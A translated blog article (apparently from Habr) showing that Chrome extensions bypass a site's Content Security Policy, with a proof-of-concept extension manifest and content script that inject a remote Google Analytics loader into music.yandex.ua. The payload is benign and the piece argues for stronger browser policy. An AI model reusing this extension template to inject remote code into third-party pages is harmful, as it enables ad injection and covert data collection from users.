Обхід CSP за допомогою розширень Google Chrome

Не так давно я налаштував на своєму проекті CSP (content security policy), і вирішив що життя вдалося. Адже тепер неможливо довантажити скрипти з заборонених ресурсів, і навіть про спробу зробити це, я буду повідомлений відповідної помилкою. А якщо хтось і довантажити скрипт, то все одно нічого не зможе передати, адже ajax запити надсилаються тільки на мої сервера.

Так я подумав, і був якийсь час спокійний.

А ще я використовував розширення HTTP Headers, яке допомагало мені переглядати заголовки відповідей сервера в зручному вигляді. В один прекрасний день, я побачив на своїх ресурсах рекламу, якої там ніколи не було. Трохи переглянувши код і поекспериментувавши, я зрозумів, що саме це додавало розширення рекламу на всі сайти, які я відвідую. Код розширення, на жаль, я не скопіював вчасно, і на даний момент воно вже видалено з магазину розширень з позначкою «містить шкідливі». З цього і почну свою розповідь.

Мені стало дуже цікаво, як так, адже у мене є чіткі правила для браузера про політику завантаження скриптів і відправки даних з моєї сторінки, а тут я бачу, що налаштування безпеки ну дуже слабо підвищують безпеку користувачів, якщо вони користуються розширень для браузера (в даному випадку конкретно Google Chrome). Тому я вирішив відтворити таке розширення, яке змогло б завантажувати скрипти з віддаленого сервера в обхід CSP.

Писати розширення для браузера не дуже складно, про це було багато статей, зокрема і Google , тому я не буду зупинятися більш докладно на самому написанні розширення.

В якості прикладу, був обраний сайт Яндекс музика з кількох причин:

  • У них є CSP
  • У них досить потужні сервера щоб витримати всіх «кому цікаво подивитися»;
  • У них не до кінця налаштований CSP (на момент написання статті у них варто content security policy report only, тому я зможу побачити всі повідомлення про помилки про некоректну контенті, але самої блокування відбуватися не буде)
Збираємо злоблива розширення (готову версію ви можете подивитися на GitHub):

1. Файл manifest.json
{
"manifest_version": 2,


"name": "CSP vulnerability",
"description": "This is just an example, please do not use it.",
"version": "1.0",


"browser_action": {
"default_icon": "evil.png",
"default_popup": "popup.html"
},
"content_scripts": [
{
"matches": [ "https://music.yandex.ua/*" ],
"js": [ "evil.js" ],
"run_at": "document_end"
}
],
"permissions": [
"activeTab",
"https://music.yandex.ua/*"
]
}

2. Створити сам «шкідливий» скрипт
Уважно переглянувши, звідки яндекс дозволяє завантажити скрипти

"script src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru .

Я вирішив що в цьому списку явно не вистачає гугл-аналітики, тому як «злісного» подгружаемого скрипта, я вибираю https://google-analytics.com/analytics.js, тим більше що багато хто називає Google — «корпорація добра». Такий вибір обумовлений наступними критеріями:

  1. Підключається скрипт нікому не зашкодить.
  2. Він точно працює.
  3. Він буде намагатися зробити ajax запити.
  4. Його зможуть підключити всі, хто захоче
В цьому є ще один бонус, т. к. я зможу подгруженным скриптом симулювати запити без підняття свого сервера і додаткового коду (зрозуміло, гугл аналітика не дасть подивитися зібрану інформацію, якщо я не власник сайту, але я і не переслідував мету зібрати якусь інформацію, тільки демонстрація обходу блокувань).

Скрипт беру стандартний, з мануала, тільки номер лічильника придумую з голови:

(function (i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
i[r] = i[r] || function () {
(i[r].q = i[r].q || []).push(arguments)
}, i[r].l = 1 * new Date();
a = s.createElement(o),
m = s.getElementsByTagName(o)[0];
a.async = 1;
a.src = g;
m.parentNode.insertBefore(a, m)
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');


ga('create', 'UA-00000000-0', 'auto');
ga('send', 'pageview');

Для початку, пробую виконати цей скрипт з консолі, щоб перевірити, чи взагалі CSP на цьому сайті, і бачу наступне:

VM636:10 [Report Only] Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "script src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru 'nonce-dWVmJGgsauDNxkDyep5LEg=='".

Тепер спробую додати все те ж саме розширення, і ось, все працює. Скрипт успішно доданий на сторінку, не згенерувавши жодної помилки.

Висновки
Так, багато хто скаже що вибір розширень це особиста справа кожного, так і гугл більш або менш оперативно заблокував розширення (протягом тижня з того моменту як я сам зрозумів, що воно спам мене рекламою).

З іншого боку, незрозуміло скільки воно було шкідливим. Я поясню чому саме шкідливе: додавалася реклама сумнівних товарів, з посиланнями на ще більш сумнівні сайти, до того ж, мені на жаль невідомо, збирало розширення якісь дані про відвідані мною сторінках, і якщо збирало, то які, адже з тим же успіхом вони могли збирати інформацію з форм або просто з відвідуваних мною сторінок.

Моя думка така, що якщо ресурс повідомляє браузеру політику поведінки з отриманої сторінкою, то ця політика повинна бути абсолютною, і поширюватися на все, в тому числі і розширення, а як ви вважаєте?
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.